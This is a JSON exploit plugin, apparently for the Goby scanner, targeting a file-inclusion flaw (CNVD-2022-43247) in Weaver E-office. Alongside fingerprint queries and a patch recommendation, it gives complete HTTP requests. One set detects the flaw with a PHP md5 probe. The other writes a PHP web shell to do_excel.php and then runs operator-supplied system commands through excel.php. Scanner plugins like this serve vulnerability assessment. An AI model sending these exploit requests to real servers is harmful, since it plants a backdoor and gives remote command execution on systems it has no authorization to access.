{
  "Name": "Weaver E-office do_excel.php file inclusion vulnerability",
  "Description": "<p>e-office is a standard collaborative mobile office platform.</p><p>There is a file inclusion vulnerability in e-office, through which an attacker can write malicious files.</p>",
  "Product": "Weaver E-office",
  "Homepage": "www.weaver.com.cn",
  "DisclosureDate": "2022-03-23",
  "Author": "1243099890@qq.com",
  "FofaQuery": "((header=\"general/login/index.php\" || body=\"/general/login/view//images/updateLoad.gif\" || (body=\"szFeatures\" && body=\"eoffice\") || header=\"Server: eOffice\") && body!=\"Server: couchdb\") || banner=\"general/login/index.php\"",
  "GobyQuery": "((header=\"general/login/index.php\" || body=\"/general/login/view//images/updateLoad.gif\" || (body=\"szFeatures\" && body=\"eoffice\") || header=\"Server: eOffice\") && body!=\"Server: couchdb\") || banner=\"general/login/index.php\"",
  "Level": "3",
  "Impact": "<p>There is a file inclusion&nbsp;vulnerability in e-office, through which an attacker can write malicious files.<br></p>",
  "References": [],
  "Is0day": false,
  "HasExp": true,
  "ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "whoami",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "POST",
        "uri": "/general/charge/charge_list/do_excel.php",
        "follow_redirect": true,
        "header": {
          "Content-Length": "52",
          "Cache-Control": "max-age=0",
          "Upgrade-Insecure-Requests": "1",
          "Content-Type": "application/x-www-form-urlencoded",
          "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
          "Accept-Encoding": "gzip, deflate",
          "Accept-Language": "zh-CN,zh;q=0.9",
          "Connection": "close"
        },
        "data_type": "text",
        "data": "html=<?php echo md5(233);unlink(__FILE__);?>"
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "output|lastbody|regex|"
      ]
    },
    {
      "Request": {
        "method": "GET",
        "uri": "/general/charge/charge_list/excel.php",
        "follow_redirect": true,
        "header": {
          "Content-Length": "52",
          "Cache-Control": "max-age=0",
          "Upgrade-Insecure-Requests": "1",
          "Content-Type": "application/x-www-form-urlencoded",
          "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
          "Accept-Encoding": "gzip, deflate",
          "Accept-Language": "zh-CN,zh;q=0.9",
          "Connection": "close"
        },
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "e165421110ba03099a1c0393373c5b43",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "POST",
        "uri": "/general/charge/charge_list/do_excel.php",
        "follow_redirect": true,
        "header": {
          "Content-Length": "52",
          "Cache-Control": "max-age=0",
          "Upgrade-Insecure-Requests": "1",
          "Content-Type": "application/x-www-form-urlencoded",
          "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
          "Accept-Encoding": "gzip, deflate",
          "Accept-Language": "zh-CN,zh;q=0.9",
          "Connection": "close"
        },
        "data_type": "text",
        "data": "html=<?php system($_POST[pass]);?>"
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    },
    {
      "Request": {
        "method": "POST",
        "uri": "/general/charge/charge_list/excel.php",
        "follow_redirect": true,
        "header": {
          "Content-Length": "52",
          "Cache-Control": "max-age=0",
          "Upgrade-Insecure-Requests": "1",
          "Content-Type": "application/x-www-form-urlencoded",
          "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
          "Accept-Encoding": "gzip, deflate",
          "Accept-Language": "zh-CN,zh;q=0.9",
          "Connection": "close"
        },
        "data_type": "text",
        "data": "pass={{{cmd}}}"
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "output|lastbody|regex|<div id=\"Classeur1_16681\" align=center x:publishsource=\"Excel\">(?s)(.*)</div>"
      ]
    }
  ],
  "Tags": [
    "Remote File Inclusion"
  ],
  "VulType": [
    "Remote File Inclusion"
  ],
  "CVEIDs": [
    ""
  ],
  "CNNVD": [
    ""
  ],
  "CNVD": [
    "CNVD-2022-43247"
  ],
  "CVSSScore": "10.0",
  "Translation": {
    "CN": {
      "Name": "泛微 E-Office 文件包含漏洞（CNVD-2022-43247）",
      "Product": "泛微 E-office",
      "Description": "<p>e-office是上海泛微网络科技股份有限公司一款标准协同移动办公平台。</p><p>e-office存在文件包含漏洞，攻击者可以通过该漏洞写入恶意文件。</p>",
      "Recommendation": "<p>厂商已发布补丁修复漏洞，请及时更新：<span style=\"color: var(--primaryFont-color);\"><a href=\"https://www.weaver.com.cn/\">https://www.weaver.com.cn/</a></span></p>",
      "Impact": "<p><span style=\"color: rgb(22, 51, 102); font-size: 16px;\">e-office存在文件包含漏洞，攻击者可以通过该漏洞写入恶意文件。</span><br></p>",
      "VulType": [
        "远程⽂件包含"
      ],
      "Tags": [
        "远程⽂件包含"
      ]
    },
    "EN": {
      "Name": "Weaver E-office do_excel.php file inclusion vulnerability",
      "Product": "Weaver E-office",
      "Description": "<p>e-office is a standard collaborative mobile office platform.</p><p>There is a file inclusion vulnerability in e-office, through which an attacker can write malicious files.</p>",
      "Recommendation": "<p>The manufacturer has released a patch to fix the vulnerability, please update it in time:<a href=\"https://www.weaver.com.cn/\" target=\"_blank\">https://www.weaver.com.cn/</a><br></p>",
      "Impact": "<p>There is a file inclusion&nbsp;vulnerability in e-office, through which an attacker can write malicious files.<br></p>",
      "VulType": [
        "Remote File Inclusion"
      ],
      "Tags": [
        "Remote File Inclusion"
      ]
    }
  },
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}